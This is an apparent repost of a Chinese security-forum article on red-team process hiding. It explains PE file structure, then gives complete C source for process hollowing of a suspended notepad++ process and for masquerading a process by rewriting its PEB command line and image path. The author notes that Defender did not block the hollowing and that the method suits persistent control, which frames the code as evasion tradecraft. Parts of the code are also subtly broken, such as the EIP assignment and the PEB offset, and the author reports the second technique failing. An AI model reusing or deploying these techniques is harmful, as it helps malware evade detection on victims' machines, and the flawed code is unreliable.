设为首页收藏本站
开启辅助访问 切换到窄版

安全矩阵

 找回密码
 立即注册
搜索
安全矩阵»安全矩阵 › 安全矩阵实验室 › 技术转载 › 红队之进程隐藏
返回列表 发新帖
查看: 2425|回复: 0

红队之进程隐藏

[复制链接]
Delina

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-11-19 11:07:31 | 显示全部楼层 |阅读模式
原文链接：红队之进程隐藏
​
PE文件解读
  1. 参考链接
  2. https://docs.microsoft.com/en-us/previous-versions/ms809762(v=msdn.10)?redirectedfrom=MSDN
  3. https://blog.csdn.net/chenlycly/article/details/53378196

  5. 提到进程，离不开可执行文件。所以这里先对平时常用的PE文件的结构做一点简单的
  6. 介绍。内存加载这一块原理一定要透彻，不然后面可能会看不懂。
复制代码

前期了解

  1. 内存映射:简单来说，win32API开发中，我们知道进程创建后有独立的4g内存虚拟空间，从中开辟出一块内存，用来把目标文件映射到这块内存，读取的时候就好像是从这块内存读取的，但是内容其实并不在这个内存中。这里我们主要讨论可执行文件的映射。（可执行文件映射和内存映射的区别在于内存映射不会更改信息，映射前后相同，可执行文件映射可能会有重定位等，造成前后的数据的相对位置不同。）

  3. 可执行文件映射：在操作系统执行一个win32的应用程序的时候，当他使用内存映射，他会在进程的内存空间中保留一块足够大的地址，一般来说是从0x00400000默认载入地址开始的。对于系统来说，物理真实存储就是exe本身。映射的虚拟信息就在内存中。当文件开始执行，此时的代码并不存在RAM（主存，与cpu交互的）中，所以会产生异常。系统捕获到异常，会映射地址到0x00400000，此时就能读取到实际的代码。dll和exe的区别就在于dll是共享的，映射到的地址所有执行文件可共享

  5. 当第二次使用这个进程实例，我们的ram已经存在这个代码了。所以只需要将她重新映射到一个地址空间，即可以共享代码和数据了。

  7. RVA:相对偏移量，这个在pe中比较常见，我们知道我们提供的其实是一个初始化的地址，打个比方提供了一个PE文件的头部，由于文件在内存加载后的模块是联系的地址，那么PE内部做一个相对的偏移，我们也能根据偏移的量来发现我们需要的数据。所以如果需要将它转化为一个实际的指针，只需要将它作为一个基地址即可（相当于起始地址，在win32中相当于句柄HINSTANCE）。
复制代码


​

接下来介绍一个PE文件的各个部分。PE标头PE标头

  1. 该标头包含诸如代码和数据区的位置和大小、文件适用于何种操作系统、初始堆栈大小等
  2. 重要信息。tips//不要认为头部就一定是在最上面，其实是错误的。我们用32和64位区分
  3. 应用程序，当位数不同的时候会报错，报错的这段信息才是最头部的东西，也叫做
  4. MS-DOS 。

  6. 抛开了这一点的数据，就是主要的PE头了。PE头的类型是IMAGE_NT_HEADERS。我们在vs中
  7. 看一下它的结构DWORD Signature; //PE签名 DWORD字段

  9. IMAGE_FILE_HEADER FileHeader;  //包含有关文件的基本信息 第二张图来源于msdn，能
  10. 看出一些和计算机匹配的信息
  11. https://docs.microsoft.com/zh-cn/windows/win32/api/winnt/ns-winnt-image_file_header?redirectedfrom=MSDN
  12. IMAGE_OPTIONAL_HEADER32 OptionalHeader; //主要是基本的file信息可能不够，可以通
  13. 过这个字段进行添加额外的选项 这一块就不细说了，有兴趣可以去msdn看字段详情
复制代码


​

节表
说完了标头，来看看下面的一个字段，节表。PE文件中所有节的属性都被定义在节表中，节表由一系列的IMAGE_SECTION_HEADER结构排列而成，每个结构用来描述一个节。
也就是PE结构后紧跟的一系列IMAGE_SECTION_HEADER数组，这部分数组就被叫做节表。公共部分
节表下面就是一系列的公共部分了。拿一张参考链接截得图https://blog.csdn.net/chenlycly/article/details/53378196
​

PE文件导入

  2. 可执行代码段.text
  3. .text 部分是编译器或汇编器发出的所有通用代码结束的地方。这里举了一个加载dll的例子。msdn的参考链接，其实就是说系统dll放置在了一块共享的区域，当需要调用的时候，只需要从 .idata 的DWORD获取到了dll函数入口点的地址，通过偏移量去加载了对应的函数。所以.text在win32中感觉更像是一个入口，其他函数可以通过相对偏移去获取

  5. 数据段.bss、.rdata、.data
  6. 这里都是存放着一些数据，其中的区别如下
  7. .bss段表示应用程序的未初始化数据，包括所有函数或源模块中声明为static的变量。
  8. .rdata段表示只读的数据，比如字符串文字量、常量和调试目录信息。
  9. 所有其它变量（除了出现在栈上的自动变量）存储在.data段之中。基本上，这些是应用程序或模块的全局变量。包含一些dll加载的函数和数据信息

  11. 资源段，.rsrc
  12. .rsrc段包含了模块的资源信息
复制代码



上面说了，PE文件导入加载外部的dll数据资源存放在.data部分。也就是常说的导入表。先暂时用不上这些，就记录一下概念，不然人容易昏。
PE文件导出

导出和导入相反，就是导出一个函数供其他的程序进行使用。有关其导出函数的信息存储在 .edata 部分
PE文件资源
  1. 程序内部和外部的界面等元素的二进制数据统称为资源，程序把它们放在一个特定的
  2. 表中，符合数据和程序分离的设计原则。资源包括加速键（Accelerator）、位图
  3. （Bitmap）、光标（Cursor）、对话框（Dialog Box）、图标（Icon）、
  4. 菜单（Menu）、串表（String Table）、工具栏（Toolbar）和
  5. 版本信息（Version Information）等。一般就是放置在.rsrc节中。
复制代码

PE 文件库重定位

  1. .reloc部分的数据被叫做重定位。这个用通俗的话来说，一个可执行程序先假定了一
  2. 个地址A，然后他的一系列资源的地址也在A的基础上，当实际映射到内存中的时候，
  3. 此时如果exe的真实内存地址增加了B，变为了A+B，这时候他的其他资源的地址也会变
  4. 为+B的大小，此时内存中去读取的时候会发现一切运行正常。
复制代码


​

  1. 最后其实分下来PE的基本结构基本是大致这几部分（还有一些延迟导入等等的暂时用不上碰到了说）
  2. （1）MS-DOS由操作系统添加
  3. （2）PE头真正的PE头部
  4. （3）PE节表（保存了很多个节）
  5. （4）PE节保存了有共同属性的一系列值。

  7. 而PE的加载更多是取决于偏移量，通过相对位置去寻找需要的资源。所以基址（初始位置）
  8. 就显得很重要。同时要了解PE的加载方式是类似内存映射（区别在于地址可能改变了。）而
  9. 不是直接加载。后续对于一些结构体做的介绍偏少，因为暂时还用不上，等以后需要的时候
  10. 在详细了解。目前其实就是在复现一些漏洞原理的时候需要补充一点基础知识，所以恶补
  11. 了一下。
复制代码
进程隐藏的

内容比较多而且可能会有点难，先写两种方式吧。后续的以后再发。
一 傀儡进程
  1. 参考链接
  2. https://xz.aliyun.com/t/10477
  3. 往期进程链接
  4. https://mp.weixin.qq.com/s/lZx9JQCnWfCKLSAS-fNWBQ

  6. 关于进程的介绍就不多说了，往期文章有详细的讲解。这里只对相关的信息做点醒。我们
  7. 知道一个创建创建了以后，他的内存空间是独立的，要共享进程内存资源的方式有两种，
  8. 一是利用OpenProcess打开一个进程，二是利用继承父进程的关系去共享内存资源。今天我
  9. 们要说的是其他的方法。在进程的那里，我们提起了一个挂起状态，今天就来看看挂起状
  10. 态。

  12. 这是创建进程的函数
  13. BOOL CreateProcess(  
  14. 　LPCTSTR lpApplicationName, // 应用程序名称  
  15. 　LPTSTR lpCommandLine, // 命令行字符串  
  16. 　LPSECURITY_ATTRIBUTES lpProcessAttributes, // 进程的安全属性  
  17. 　LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程的安全属性  
  18. 　BOOL bInheritHandles, // 是否继承父进程的属性  
  19. 　DWORD dwCreationFlags, // 创建标志  
  20. 　LPVOID lpEnvironment, // 指向新的环境块的指针  
  21. 　LPCTSTR lpCurrentDirectory, // 指向当前目录名的指针  
  22. 　LPSTARTUPINFO lpStartupInfo, // 传递给新进程的信息  
  23. 　LPPROCESS_INFORMATION lpProcessInformation // 新进程返回的信息  
  24. );

  26. 详细的参数详解往期文章已经发了。见参考链接，这里就来说说我们本次涉及到的一些东
  27. 西。
复制代码

详细的参数详解往期文章已经发了。见参考链接，这里就来说说我们本次涉及到的一些东西。
​


  1. （1）LPSECURITY_ATTRIBUTES lpProcessAttributes

  3. 从下面的截图可以看出，他是一个指向_SECURITY_ATTRIBUTES的一个指针，这个结构体有
  4. 三个参数。而msdn的截图说的不支持设置为null，先不管。他是来设置进程句柄能否被继
  5. 承，若设置为NULL，则在句柄表中的值为0，进程句柄不能够被子进程继承typedef struct _SECURITY_ATTRIBUTES {
  6.        DWORD  nLength;  //结构体的大小
  7.        LPVOID lpSecurityDescriptor;  //安全描述符
  8.        BOOL   bInheritHandle; //指定返回的句柄是否被继承
  9. } SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES;
  10. 这里稍微提一下，没事的时候多学学英语，对学习编程确实有大用处。


  13. <span data-cke-copybin-start="1">​</span><p><span id="cke_bm_14971S" style="display:none"> </span></p>

  15. <div aria-label="图片 图像 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_image cke_image_nocaption cke_widget_selected" data-cke-display-name="图像" data-cke-filter="off" data-cke-widget-id="1624" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false">
  16. <p class="cke_widget_element" data-cke-widget-data="%7B%22hasCaption%22%3Afalse%2C%22src%22%3A%22https%3A%2F%2Fimg-blog.csdnimg.cn%2Fimg_convert%2F45011c1e2b058f1412f5b176cd0cb877.png%22%2C%22alt%22%3A%22%E5%9B%BE%E7%89%87%22%2C%22width%22%3A%22316.5%22%2C%22height%22%3A%22%22%2C%22lock%22%3Atrue%2C%22align%22%3A%22center%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-widget="image" style="text-align: center;"><span class="cke_image_resizer_wrapper"><img alt="图片" data-cke-saved-src="https://img-blog.csdnimg.cn/img_convert/45011c1e2b058f1412f5b176cd0cb877.png" data-cke-widget-upcasted="1" src="https://img-blog.csdnimg.cn/img_convert/45011c1e2b058f1412f5b176cd0cb877.png" width="316.5"><span class="cke_image_resizer" title="点击并拖拽以改变尺寸">​</span></span>

  18. </p>
  19. <span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release1.9.5/ckeditor/plugins/widget/images/handle.png);display:none;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15" height="15"></span></div>



  23. <div aria-label="图片 图像 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_image cke_image_nocaption cke_widget_selected" data-cke-display-name="图像" data-cke-filter="off" data-cke-widget-id="1623" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false">
  24. <p class="cke_widget_element" data-cke-widget-data="%7B%22hasCaption%22%3Afalse%2C%22src%22%3A%22https%3A%2F%2Fimg-blog.csdnimg.cn%2Fimg_convert%2Fdec19ef313d53d779c2fb056aa9c74c4.png%22%2C%22alt%22%3A%22%E5%9B%BE%E7%89%87%22%2C%22width%22%3A%22494%22%2C%22height%22%3A%22%22%2C%22lock%22%3Atrue%2C%22align%22%3A%22center%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-widget="image" style="text-align: center;"><span class="cke_image_resizer_wrapper"><img alt="图片" data-cke-saved-src="https://img-blog.csdnimg.cn/img_convert/dec19ef313d53d779c2fb056aa9c74c4.png" data-cke-widget-upcasted="1" src="https://img-blog.csdnimg.cn/img_convert/dec19ef313d53d779c2fb056aa9c74c4.png" width="494"><span class="cke_image_resizer" title="点击并拖拽以改变尺寸">​</span></span></p>
  25. <span class="cke_reset cke_widget_drag_handler_container" style="background: rgba(220, 220, 220, 0.5) url(&quot;https://csdnimg.cn/release/blog_editor_html/release1.9.5/ckeditor/plugins/widget/images/handle.png&quot;) repeat scroll 0% 0%; top: 0px; left: 0px;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15" height="15"></span></div>


  28. <span data-cke-copybin-end="1">​</span>

  30. （2）lpThreadAttributes
  31. 和上面的差不多就不重复截图了，这个是线程，上一个是进程。自己去动手操作一下

  33. 用来设置线程句柄能否被继承，若设置为NULL，则在句柄表中的值为0，线程句柄不能够被
  34. 子进程继承

  36. 接下来我们做一个试验，来创建一个挂起的进程
  37. #include <windows.h>
  38. #include"stdio.h"

  40. int main(int argc, char* argv[])
  41. {
  42.     STARTUPINFO ie_si = { 0 };
  43.     PROCESS_INFORMATION ie_pi;
  44.     ie_si.cb = sizeof(ie_si);

  46.     TCHAR szBuffer[256] = "D:\\Notepad++\\notepad++.exe";
  47.     CreateProcess(
  48.         NULL,
  49.         szBuffer,
  50.         NULL,
  51.         NULL,
  52.         FALSE,
  53.         CREATE_SUSPENDED,
  54.         NULL,
  55.         NULL,
  56.         &ie_si,
  57.         &ie_pi
  58.     );
  59.     //恢复执行              
  60.    // ResumeThread(ie_pi.hThread);

  62.     return 0;
  63. }
复制代码


​​
​


此时可以看到，进程是挂起状态，没有显示的显现出来，但是在后台中能看到已经存在了。当调用ResumeThread进行恢复的时候，进程就显现出来了。这里我们只需要将进程的第六个参数改为CREATE_SUSPENDED则可以挂起了。
​



  1. 接下来先来看看我们的思路。现在我们能够操作的空间差是在进程挂起的这段时间内。我们能做的是利用这段时间差，自己申请一块内存，然后再内存中放入我们的shellcode，再来恢复主线程即可。

  3. 来看一下参考链接中用到的函数
  4. ZwUnmapViewOfSection
  5. 所述ZwUnmapViewOfSection例程取消映射一个视图从受试者进程的虚拟地址空间中的部分的。google翻译起来是有点头痛哈，简单来说就是可以根据我们传入的句柄和指针取消我们之前在内存中间保存的数据。
  6. GetProcAddress
  7. 此函数返回指定导出的 DLL 函数的地址。
  8. FARPROC GetProcAddress(
  9.   HMODULE hModule,
  10.   LPCWSTR lpProcName
  11. );
  12. 可以利用GetModuleHandleA和LoadLibrary来返回dll的句柄。第二个参数为获取函数的名称。同时这个函数存在于ntdll.dll。
  13. GetModuleHandleA()
  14. 检索指定模块的模块句柄。该模块必须已被调用进程加载，如果参数为null返回用于创建调用进程的文件（.exe 文件）的句柄

  16. 线程结构体 这里也是一个新的概念。这样子来理解，我们的一个线程，跑着跑着图片切到了B线程，等我们需要A线程的跑的时候，如果是接着跑那肯定是会异常的。所以此时需要一个结构体来保留A线程之前的信息，这个结构体就是content。也就是平时我们提到的线程上下文。
  17. 模块基地址 每个可执行模块和DLL模块都有一个首选的基地址，用于标识模块应该映射到的进程地址空间中的理想内存地址
  18. 准备的差不多了，开冲。
  19. 进程环境信息块 PEB 放置了进程的一些环境信息

  21. #include"stdio.h"
  22. #include <windows.h>
  23. STARTUPINFO sta;
  24. PROCESS_INFORMATION pi;
  25. typedef NTSTATUS(__stdcall* pfnZwUnmapViewOfSection)(
  26.   IN HANDLE ProcessHandle,
  27.   IN LPVOID BaseAddress
  28.   );
  29. pfnZwUnmapViewOfSection ZwUnmapViewOfSection;
  30. DWORD GetRemoteProcessImageBase(DWORD dwPEB){
  31.   DWORD DWBase;
  32.   ReadProcessMemory(pi.hProcess, (LPVOID)(dwPEB + 10), &DWBase, sizeof(DWORD), NULL);//通过传入进程的句柄，读取进程的DWORD个大小的字节数。将指定地址范围内的数据从指定进程的地址空间复制到当前进程的指定缓冲区中
  33.   return DWBase;
  34. }
  35. DWORD Mess()
  36. {
  37.   MessageBoxA(0, "Inject successfully", "", 0);
  38.   return 1;
  39. }
  40. BOOL CreaetNoteProcess() {
  41.   wchar_t dir[] = L"d:\\notepad++\\notepad++.exe";
  42.   ZeroMemory(&sta, sizeof(sta));
  43.   ZeroMemory(&pi, sizeof(pi));
  44.   sta.cb = sizeof(sta);
  45.   BOOL crea = CreateProcess(dir,NULL,NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &sta, &pi);
  46.   if (crea)
  47.   {
  48.     printf("Create notepad successfully!\n\n");
  49.   }
  50.   else
  51.   {
  52.     {
  53.       printf("Create notepad  faile!\n");
  54.     }
  55.   }
  56.   return crea;
  57. }
  58. DWORD GetCurModuleSize(DWORD dwModuleBase) {
  59.   PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)dwModuleBase;
  60.   PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(dwModuleBase + pDosHdr->e_lfanew);//这里获取了PE标头的起始位置
  61.   return pNtHdr->OptionalHeader.SizeOfImage; //这里是获取了PE文件被装在到内存空间的时候大小
  62. }//这个函数会在PE结构讲解里面提到
  63. int main(int argc, char* argv[])
  64. {
  65.   ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection"); //可以通过通过加载dll，然后通过GetProcAddress来获取地址。成功后会返回地址。
  66.   if (ZwUnmapViewOfSection != NULL) {
  67.     printf("ZwUnmapViewOfSection() address is 0x%08x\n", ZwUnmapViewOfSection);
  68.     if (CreaetNoteProcess()) {
  69.       printf("success to create NotePad++ Process; the ProcessId is %d",pi.dwProcessId);//创建一个notepad++的进程，然后判断是否创建成功
  70.       HMODULE hModuleBase = GetModuleHandleA(NULL);
  71.       DWORD dwImageSize = GetCurModuleSize((DWORD)hModuleBase);
  72.       CONTEXT Thread;
  73.       Thread.ContextFlags= CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS; //选择性的检索上下文
  74.       GetThreadContext(pi.hThread, &Thread);//获取线程的上下文
  75.       DWORD dwRemoteImageBase = GetRemoteProcessImageBase(Thread.Ebx);//进入我们要执行的exe（这里为notepad++的内存空间）
  76.       ZwUnmapViewOfSection(pi.hProcess,(LPVOID)dwRemoteImageBase);//取消执行的exe中内存空间的映射（这里我们就要尝试把自己的代码+到映射中去了）
  77.       LPVOID lpAllocAddr = VirtualAllocEx(pi.hProcess, hModuleBase, dwImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);//这个分离免杀见得比较多，不细说，分配内存空间用
  78.       if (lpAllocAddr) {
  79.         printf(" 内存申请成功\n");
  80.       }
  81.       else
  82.       {
  83.         printf("内存分配失败\n");
  84.       }
  85.       if (NULL == ::WriteProcessMemory(pi.hProcess, hModuleBase, hModuleBase, dwImageSize, NULL)) {
  86.         printf(" 写入内存失败");
  87.         return FALSE;
  88.       }
  89.       else
  90.       {
  91.         printf("写入成功!\n");
  92.       }
  93.       Thread.ContextFlags = CONTEXT_FULL;
  94.       Thread.Eip = Mess();//这里就是可以注入我们的恶意程序。
  95.       SetThreadContext(pi.hThread, &Thread);//设置线程的上下文，这里换位我们的notepad.exe，context换位我们更改后的Thread
  96.       if (-1 == ResumeThread(pi.hThread))
  97.       {
  98.         printf("[!] ResumeThread failed\n\n");//这里对线程进行挂起，看看是否能成功。
  99.         return FALSE;
  100.       }
  101.       else
  102.       {
  103.         printf("[*] ResumeThread successfully!\n\n");
  104.       }
  105.     }
  106.     else
  107.     {
  108.       printf("faile to create NotePad++ Process");
  109.       exit(-1);
  110.     }
  111.   }
  112.   else
  113.   {
  114.     printf("faile to get ZwUnmapViewOfSection() address the error code is %d",GetLastError());
  115.     exit(-1);
  116.   }
  117. }
  118.    
复制代码


​


当我们注入成功后，会发现开启了一个notepad的进程。defender未拦截。可以做持久控制
​

二 进程伪装

  1. <div class="blockcode"><blockquote>具体的我在代码中的备注和解释已经比较清楚了。可以稍微来理一下这个流程
  2. （1）创建一个正常的进程
  3. （2）进入创建的内存的进程空间
  4. （3）从傀儡进程的内存空间中置空一部分内存映射
  5. （4）将我们的恶意代码映射到内存空间去
  6. （5）进程运行，执行我们的恶意代码。

  8. 当中会涉及到一些PE的加载以及结构的问题，看PE结构简介的文章即可。注意这种方法会
  9. 更改运行的内存空间指向的代码，所以原本程序不会运行可能。但是不会破坏原本的程序
  10. 结构。他的原理更像是运行过程中的偷梁换柱，对运行前不会造成影响。
复制代码

简单来说就是把进程伪装成lsass.exe等类似的常用进程，让别人不容易察觉和发现。
相关函数
NtQueryInformationProcess 检索有关指定进程的信息。就是获取进程的一些信息
__kernel_entry NTSTATUS NtQueryInformationProcess(
  [in]            HANDLE           ProcessHandle,
  [in]            PROCESSINFOCLASS ProcessInformationClass,
  [out]           PVOID            ProcessInformation,
  [in]            ULONG            ProcessInformationLength,
  [out, optional] PULONG           ReturnLength
);
相关内容
PROCESS_BASIC_INFORMATION结构
参考链接
https://www.cnblogs.com/sakura521/p/15335282.html
https://xz.aliyun.com/t/10435

#include <Windows.h>
#include <winternl.h>
#include <stdio.h>
#include <tchar.h>
#include <SDKDDKVer.h>
typedef NTSTATUS(NTAPI* typedef_NtQueryInformationProcess)(
  IN HANDLE ProcessHandle,
  IN PROCESSINFOCLASS ProcessInformationClass,
  OUT PVOID ProcessInformation,
  IN ULONG ProcessInformationLength,
  OUT PULONG ReturnLength OPTIONAL
  );
void ShowError(char* pszText)
{
  char szErr[MAX_PATH] = { 0 };
  ::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
  ::MessageBox(NULL, szErr, "ERROR", MB_OK);
}
BOOL DisguiseProcess(DWORD ProcessID, wchar_t *lpwszPath, wchar_t *lpwszCmd) {
  BOOL state =FALSE;
  PROCESS_BASIC_INFORMATION  pbi;
  PEB peb;
  RTL_USER_PROCESS_PARAMETERS Param;
  HANDLE hpo = OpenProcess(PROCESS_ALL_ACCESS,FALSE,ProcessID);
  USHORT usCmdLen = 0;
  USHORT usPathLen = 0;
  if (NULL ==hpo)
  {
    ShowError("OpenProcess faile");
  }
  else
  {
    printf("%d 进程打开成功\n",ProcessID);
    typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;//定义NtQueryInformationProcess，因为要自己从dll中调用，所以先定义一个结构体存储调用后的数据
    NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(:oadLibrary("ntdll.dll"), "NtQueryInformationProcess"); //从ntdll.dll加载需要调用的函数
    if (NULL == NtQueryInformationProcess)
    {
      ShowError("GetProcAddress");
      return FALSE;
    }//判断是否加载成功
    NTSTATUS status = NtQueryInformationProcess(hpo, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);//这里是检索了我们传入的进程ID的进程信息,最后放在了pbi中。
    if (!NT_SUCCESS(status)) {//测试返回的NTSTATUS 值
      ShowError("NtQueryInformationProcess Process faile");
      return FALSE;
    }
    ReadProcessMemory(hpo, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);//读取我们检索的进程的基地址开始的进程块信息.
    ReadProcessMemory(hpo, peb.ProcessParameters, &aram, sizeof(Param), NULL);//读取我们检索进程的参数块的信息
    usCmdLen = 2 + 2 * wcslen(lpwszCmd);//
    WriteProcessMemory(hpo, Param.CommandLine.Buffer, lpwszCmd, usCmdLen, NULL);//重新写入进程的命令
    ::WriteProcessMemory(hpo, &aram.CommandLine.Length, &usCmdLen, sizeof(usCmdLen), NULL);
    // 修改指定进程环境块PEB中路径信息, 注意指针指向的是指定进程空间中
    usPathLen = 2 + 2 * wcslen(lpwszPath);
    WriteProcessMemory(hpo, Param.ImagePathName.Buffer, lpwszPath, usPathLen, NULL);
    WriteProcessMemory(hpo, &aram.ImagePathName.Length, &usPathLen, sizeof(usPathLen), NULL);//重新写入进程的路径
    ShowError("success");
    return TRUE;
  }
  return state;
}
int main() {

    if (FALSE == DisguiseProcess(17436, L"D:\\notepad++\\notepad++.exe", L"explorer.exe")) //进行进程隐藏
    {
      printf("Dsisguise Process Error.\n");
    }
    printf("Dsisguise Process OK.\n");

    system("pause");
    return 0;

}
   




  1. 还是回想一下步骤
  2. (1)打开进程
  3. (2)修改进程的命令信息

  5. ps：本地复现的时候失败了，一开始想伪装notepad++的发现爆了内存读取失败的信息，怀
  6. 疑有什么保护措施。所以更换了自己的一个exe，还是有问题。然后看了一下命令行和路径
  7. 的位置发现没有问题。然后调试了一下，发现写入内存的操作被拒绝了。
复制代码


​

​
​


  1. 后续想了一下利用场景，发现自己开始的思路有点问题。进程隐藏是隐藏我们自己的服
  2. 务进程，所以我们的进程应该需要有debug权限否则不能写入。于是这里生成了一个
  3. exe，启动进程添加了debug权限。发现能写入了，但是写入路径的时候爆了998错误，
  4. 说的是内存崩溃，原因不明。根据ProcessExplore查看进程，发现命令行改了，路径
  5. 没改，估计是错误引起的。emmmm多学一点再来解决这里把。
复制代码


​

​


先来复现这两种隐藏把。后续还有hookAPI的隐藏和DLL劫持，其中DLL劫持应该往期已经说过了，HOOKAPI内容感觉有点多，后续发。这几天调试的有点多输出可能跟不上，忘见谅。
​
回复

使用道具 举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 00:05 , Processed in 0.016767 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表